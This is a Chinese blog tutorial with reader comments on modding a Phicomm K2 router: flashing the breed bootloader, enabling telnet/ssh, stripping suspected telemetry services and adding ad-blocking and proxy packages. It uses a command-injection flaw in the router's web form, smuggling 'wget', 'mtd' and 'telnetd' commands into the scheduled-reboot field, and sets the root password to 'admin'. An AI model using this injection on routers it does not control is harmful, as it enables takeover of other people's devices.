主页 > 硬件 > 斐讯K2 刷breed、第三方固件及开启telnet、ssh方法,含原版固件净化、新增功能

斐讯K2 刷breed、第三方固件及开启telnet、ssh方法,含原版固件净化、新增功能

固件发布页面:
http://iytc.net/wordpress/?p=1772

jd拿了个免费的斐讯K2:

软件版本: 22.4.5.42
设备型号: K2
硬件版本: A2

据说有收集用户信息的问题:

http://bbs.mydigit.cn/read.php?tid=1572590

需要刷第三方固件或对原版固件进行净化处理

 

1、刷breed

breed类似uboot,用于路由器的引导,刷了breed后,可以方便的刷第三方固件

这里使用的是利用网页执行脚本的漏洞安装breed

便携机无线连接K2,K2 WAN口连internet,先保证可以正常上网
用Firefox,傲游,Chrome等登录http://192.168.2.1

选择右上角的“定时重启路由器”

点选时间中的右侧下拉分钟选择框,鼠标箭头(手势)放在05上,点击鼠标右键,在Firefox或傲游浏览器“审查元素”(傲游浏览器先按“F12”按键打开审查页面后再点击定时重启):

双击"05",改为你要执行的命令:

改为:

05 | wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin

在定时重启路由器页面上重新选择05之后(这里要注意,一定要重选,并且重选后可以看到05后面自己输入的字符):

点击“保存”按钮后,就相当于K2执行了wget获取文件的命令。

重复上述过程,分别改为:

05 | mtd unlock Bootloader

05 | mtd -r write breed-mt7620-phicomm-psg1208.bin Bootloader

上述操作是利用漏洞执行了3条命令,下载breed并写入bootloader,最后一次保存后,路由器会写breed并重启。

如果路由器没有自动重启,说明操作过程有误,请仔细检查操作过程。

你可以用此方法让K2执行任何命令(比如下面的安装SSH的命令)。

 

进入Breed方法:

拔除K2上Wan口的网线,路由器断电,持续按住路由器上的reset按钮,接通路由器电源,3秒后松开reset按钮。
在浏览器地址栏输入“http://192.168.1.1”访问Breed Web。

进入Breed Web后,请及时进行原始EEPROM、固件备份,然后再刷其他的固件。

 如果不想刷其他第三方固件,想对原版固件进行净化,继续往下处理:

开启telnet方法(此步骤可省,可直接用WEB漏洞安装SSH):

先用breed备份eeprom文件,将备份出来的文件用ultraedit修改:

将0x26、0x27位置修改为10、70,然后通过breed的“固件更新”写入修改的eeprom

重启后可用telnet 192.168.2.1进入shell界面(无密码):

或者可以用web漏洞直接执行:

/usr/sbin/telnetd -l /bin/login.sh

也可以开启telnet

 

安装SSH:

telnet登录后执行(其实ssh也可以通过WEB漏洞来安装,可以省去安装telnet步骤):

opkg install http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/base/dropbear_2014.63-2_ramips_24kec.ipk
# 开机自启
/etc/init.d/dropbear enable
# 更改root密码为 admin
echo -e 'admin\nadmin' | passwd root
# 启动
/etc/init.d/dropbear start

原版固件的净化:
进shell后,先把定时任务干掉

第二个任务是上面设置的定时重启,在web页面关闭

第一个任务比较可疑,半夜两点上传数据?

winscp找到/usr/lib/lua/luci/tools/scheduletask.lua文件

修改luci.sys.call("cp -f %s %s > /dev/null" % {defaultrule,crontabpath})

--luci.sys.call("cp -f %s %s > /dev/null" % {defaultrule,crontabpath})
luci.sys.call("touch %s" % {crontabpath})

 

 

再看有没有可疑网络程序

禁用可疑程序:

/etc/init.d/lc stop

/etc/init.d/lc disable

http_event_inform是厂家远程管理的tr069程序

/etc/init.d/tr069 stop

/etc/init.d/tr069 disable

查看可疑进程:

禁用可疑程序:

/etc/init.d/collect stop

/etc/init.d/collect disable

 

telnet不安全,把telnet也禁掉:

/etc/init.d/telnetd_startup stop

/etc/init.d/telnetd_startup disable

 

重启后网络进程清爽了:

备份修改以后的固件:

 

去除鼠标右键限制:
/usr/lib/lua/luci/view/themes/bootstrap/header.htm
找到
oncontextmenu=self.event.returnValue=false
删除

 

增加功能,比如要增加一个定时开关WIFI的功能(睡觉时间自动将WIFI关闭)

如果是通过shell几行命令就搞定了,我们搞复杂点,实现通过web来配置:
打开/usr/lib/lua/luci/view/themes/bootstrap/header.htm
找到
<li>
<a href="#" id="timeRboot" data-toggle="modal" data-target="#timeRestartModal">定时重启路由器</a>
</li>
在下面增加:
<li>
<a href="#" id="wifiRboot" data-toggle="modal" data-target="#wifiRestartModal">定时重启WIFI</a>
</li>

界面上会出现新增菜单:

依葫芦画瓢修改header.htm增加配置界面:

还需依照/etc/config/timereboot、/usr/lib/lua/luci/controller/admin/timereboot.lua增加相应文件,省略一万字...

所有实现此功能需要修改的文件打包如下,有兴趣者可以参考:

K2

 

软件包添加

现在我们尝试增加一个广告屏蔽的软件包adbyby

首先增加一个控制界面,还是修改/usr/lib/lua/luci/view/themes/bootstrap/header.htm

找到<% elseif v == "more_wlextend" then %>,在此语句上方添加:

<% elseif v == "adbyby" then %>
<li><a class="list_li1_a" href="<%=nodeurl(prefix, v, nnode.query)%>" id="adbyby" style='<%if temp=="adbyby" then%> border-left:3px solid #F08300;color:#F08300;background:#F8F8F8;<%end%>'><div><span class="icon-more_safeset iconSpan"></span><span class="textSpan">广告屏蔽</span></div></a>
</li>

再依葫芦画瓢修改/usr/lib/lua/luci/view/admin_index/index.htm文件:

else if(v == "adbyby")
{
nhref = "<%=luci.dispatcher.build_url("admin", "adbyby")%>";
$(tbsid).html("广告屏蔽")
}

增加/usr/lib/lua/luci/controller/admin/adbyby.lua、/usr/lib/lua/luci/model/cbi/adbyby.lua、/etc/config/adbyby等文件,文件内容可以对应目录powersave的内容进行修改。

刷新界面,出现新菜单:

修改的文件包如下:

adbyby

界面修改后,需加入adbyby的可执行文件,由于adbyby的文件较大,而原版固件的剩余空间较少,只有500多K:

因此需进行变通,有人做了一个在ram中运行的adbyby版本:

http://www.right.com.cn/forum/thread-191833-1-1.html

占用flash空间只有20多K,由于程序未开源,有一定风险,安装:

opkg install http://tianbao.sf.net/adbyby

开启
tb ad on

关闭
tb ad off

开启后,程序下载http://update.adbyby.com/download/7620n.tar.gz到/tmp(ram),再解压到/tmp/adbyby运行:

/tmp/adbyby/bin/adbyby

规则更新URL在/tmp/adbyby/bin/update.info文件

程序会启动一个tbb程序来定时(间隔123秒)检查下载规则

参考此程序的过程,我们可以创建一个脚本文件,比如/root/adbyby.sh,内容如下:

cd /tmp
#等待网络连接成功
wget_ok="0"
rm -f 7620n.tar.gz
while [ "$wget_ok" = "0" ]
do
wget http://update.adbyby.com/download/7620n.tar.gz
if [ "$?" == "0" ]; then
wget_ok="1"
else
sleep 30
fi
done
#解压、启动adbyby
mkdir -p adbyby
tar -zvxf 7620n.tar.gz -C ./adbyby
cd ./adbyby/bin
./startadbb

修改文件权限为755,我们可以将/root/adbyby.sh加入到自启文件/etc/rc.local中,开启自动启动,不过由于要控制adbyby启动和停止,因此最好创建一个服务,新建/etc/init.d/adbyby
#!/bin/sh /etc/rc.common
START=80
start() {
/root/adbyby.sh &
}
stop() {
cd /tmp/adbyby/bin
./stopadbb
}
restart() {
stop
start
}

修改权限为755,执行/etc/init.d/adbyby enable将服务加入自启动
下一步是将界面和可执行文件关联起来。此部分主要修改/usr/lib/lua/luci/model/cbi/adbyby.lua文件,控制adbyby的停止与运行,以及读取规则文件日期,修改文件如下:
adbyby

修改的所有文件打包如下:

k2_mod

 

完整的修改后的固件如下:

firmware_k2_blue_adbyby

ssh用户名:root

ssh及web密码:admin

 

可以用两种方式烧写此固件:

1、解压后winscp上传到K2路由器的/tmp目录,然后ssh执行“mtd -r write /tmp/firmware_k2_blue_adbyby.bin firmware”即可

2、解压后可以在breed中直接烧写此固件

adbyby功能验证:

K2界面显示adbyby运行状态显示“运行中”:

打开优酷视频(http://www.youku.com/),点击一个视频浏览,会自动跳过广告。

 

下面继续尝试加入SSR for Openwrt

K2原版固件虽然只剩下500多K空间,不过由于K2自带了libopenssl和libpcre库,因此还是可以装下SSR的

首先重新用openwrt 14.07 SDK编译源码项目:
https://github.com/ywb94/openwrt-ssr
将编译好的luci-app-shadowsocksR-Client_1.2.1_all.ipk安装到K2,注意K2需修改/etc/opkg.conf,改为正确的源地址:
src/gz barrier_breaker_base http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/base
src/gz barrier_breaker_packages http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/packages
src/gz barrier_breaker_luci http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/luci
src/gz barrier_breaker_routing http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/routing
src/gz barrier_breaker_management http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/management
然后opkg update后再安装。

按照上面添加adbyby的方法在K2界面上添加SSR界面:

20170213162543接下来需要对SSR的代码进行修改,将shadowsocksr的路径由admin/services/shadowsocksr/改为admin/shadowsocksr/,因为K2原版没有admin/services/路径。

还有一点比较奇怪的是lua中不能使用“o.rmempty = false”语句了,如果使用就出错,需要把所有此语句删除。

一顿大改后,功能基本正常了,界面还需调整。

界面调整修改/www/luci-static/bootstrap/css/cbi.css,增加一些样式:

 

检查SSR的功能,发现防火墙规则没有起来,问题出在ipset上,运行ipset,提示错误:

root@K2:~# ipset list
ipset v6.20.1: Cannot open session to kernel.

搜索openwrt,发现并没有K2固件中的3.10.14内核版本,google搜索发现3.10.14为MTK出的一个openwrt版本:

https://github.com/unigent/openwrt-3.10.14

下载后重新编译所需要的各个ipk

编译成功后,lsmod可以发现能够加载ipset模块了,但是运行还是报错:

root@K2:~# ipset list
ipset v6.30: Kernel error received: message could not be created

还是不行,可能是内核原因,无解了

准备回到解放前,用iptables一条条的添加防火墙规则

好不容易把SSR给折腾成功了,目前的ssr特性:

支持两种dns解析方式:

1、远程解析:本地域名是被污染的,由远程ssr服务器进行二次解析,本地不对dns做处理

2、pdnsd解析:用支持tcp方式的dns隧道进行gfw列表站点的解析,在本地能获取到正确的域名对应的IP地址

采用路由方式进行代理:中国网段的IP不走代理;中国以外的IP走透明代理访问;

在实际测试时发现一个问题,由于设置ssr后,要对dnsmasq进行重启,日志中会打印大量gfw列表的信息:

Mon Feb 20 19:32:44 2017 daemon.info dnsmasq[6760]: using nameserver 127.0.0.1#5353 for domain 1984bbs.org
Mon Feb 20 19:32:44 2017 daemon.info dnsmasq[6760]: using nameserver 127.0.0.1#5353 for domain 1984bbs.com
Mon Feb 20 19:32:44 2017 daemon.info dnsmasq[6760]: using nameserver 127.0.0.1#5353 for domain 1949er.org

..

gfw列表有4000多条,打印信息较多,在其他openwrt可能只占用几秒的CPU处理时间,但是在K2上发现CPU占用100%(0% idle)的时间达到90秒!

没办法,重新编译了一个dnsmasq,屏蔽打印输出,替换K2的/usr/sbin/dnsmasq文件

 

 

未完待续。。

评论:19

  1. 回复
    2017年1月17日 于 下午6:19

    去广告的插件没用啊,打开关闭都显示运行,而且打开网页实际操作还是有广告

    • ywb 回复
      2017年1月18日 于 上午11:20

      还没加可执行文件

  2. 不点儿 回复
    2017年1月23日 于 下午8:49

    支持一个 要是有ss就好了

  3. 回复
    2017年1月30日 于 下午4:02

    能给个你修改好的K2固件吗?

  4. 郑敏 回复
    2017年2月5日 于 下午11:04

    https://j.s9w.cc/j/?t=fx&v=1&g=cc81dad73f80&c=f40f242d89be&A=8

    刷机前,发现加载的网页会被加入莫名的js,按照你的程序做一遍后,都成功了的,但是加载页面还是有,怎么回事?斐讯k2 连着tplink 做第二路由
    切换回tp的无线,js又没了,连上k2 又有了

  5. VPN 回复
    2017年2月21日 于 下午5:10

    可否加入VPN支持?

  6. 王浩 回复
    2017年2月23日 于 上午8:52

    是否可以把koolproxy ADM这连个也弄进去,多个选择。

  7. 老鸭 回复
    2017年2月28日 于 下午11:36

    求救了!
    倒在了长征第一步上,现在红灯长亮,怎么弄都没反应,也没法恢复出厂设置了。
    问题是出在,按照帖中所说,改05,第三次改完了保存以后,并没有重启,而是直接就红灯了,之后,就没有了...
    因为我的型号也是22.4.5.42,在网上搜了很久,才找到这一篇,是一样的型号的,我小白,不敢太多试水,就打算老老实实按照楼主所言一步步来做的,没想到...不知道倒在哪儿了,是因为我每次保存以后都把“审查元素”关掉再重新打开改下一次的?还是现在又出了新的bug不能按照这个方法操作了?
    总之,现在只有求救了!!!

    • ywb 回复
      2017年3月1日 于 下午12:58

      刷breed需谨慎,你这个很有可能是breed没有下载完成或失败就开始写bootloader,如果是这样只能返厂

  8. 阿东 回复
    2017年3月2日 于 上午9:39

    强烈建议增加外网重新连接的按钮,这样换IP方式,不用重启路由

  9. 搜百谷 回复
    2017年3月21日 于 下午6:26

    老大,这个怎么添加MAC白名单功能啊,有白名单无线就不用设置密码了

  10. jiangjunfu 回复
    2017年6月5日 于 下午3:35

    大神 忘记备份第一次原厂的epprom 了 有多严重啊 楼主我一直有个老大难的问题 就是刷了k2 在brread里固件更新只选择的固件 epprom没动 这样情况下 路由器的软件这快 是不是只刷了 系统 为这事问了官方高级客服 但他们没有给出明确客服 也不知道是否是刷机原因 现在的系统感觉 没有原厂的买回那会稳定 速度快 也不知道是不是自己的心理原因 期间刷机时有刷过好多系统 原厂 原改163 毛子 潘多拉 最后选择的现在用的是163的 版本 这个版本 第一次刷后 挺好用的 还能过滤广搞都可好 后来过了几天突然感觉不好了 我是做副路由用的 也不知道是不是主路由的问题 主路由是雷克的714 300m 的信道这块应该没有问题 我平时比较注意 一般都是11信道 说得折磨第 最重要的最想知道我这样 用的tianhaoha 的 命令行进的 路由器 刷的brred 然后就刷机了 刷过多个版本 brred中固件更新 只选择了固件这块 别的编译器固件 epprom都没动 当时不知道没有备份原厂的epprom 所以现在感觉不好用了 不知道是否跟这个有关 或者说 这几次刷机epprom 已经早不是原厂的了吗 当然我也不知道 这个rom里存的文件是够影响到最后的网速流畅 信号强度 这个问题很重要 对我 谢谢楼主

  11. zhaocz 回复
    2017年6月9日 于 下午8:04

    很高兴现在能用到1.4的官改版了,但我很想需要用到telnet或ssh,但看我的k2上也只有webshell,另外进程里有telnetd的进程,却无法连接,这是为什么呢?

    • ywb 回复
      2017年6月10日 于 上午9:36

      启动任务中增加:
      /usr/sbin/telnetd -l /bin/login.sh

      • zhaocz 回复
        2017年6月10日 于 下午6:42

        可以了。
        我一直以为在webshell下输入这个也可以用的,没想到不行,一定挂在任务里才能用。这样的话,还是挂在rc.local后面好了。

  12. 小星星 回复
    2017年10月9日 于 下午4:24

    可以添加一个多播的插件吗,我改了flash、现在16m的。

  13. becky 回复
    2017年10月16日 于 上午10:14

    兄弟,能否增加一个WIFIDOG插件?这样就可以变成公告路由了。

  14. 老牛 回复
    2017年11月5日 于 下午5:01

    希望加入中继可以添加字符

发表评论

电子邮件地址不会被公开。 必填项已用*标注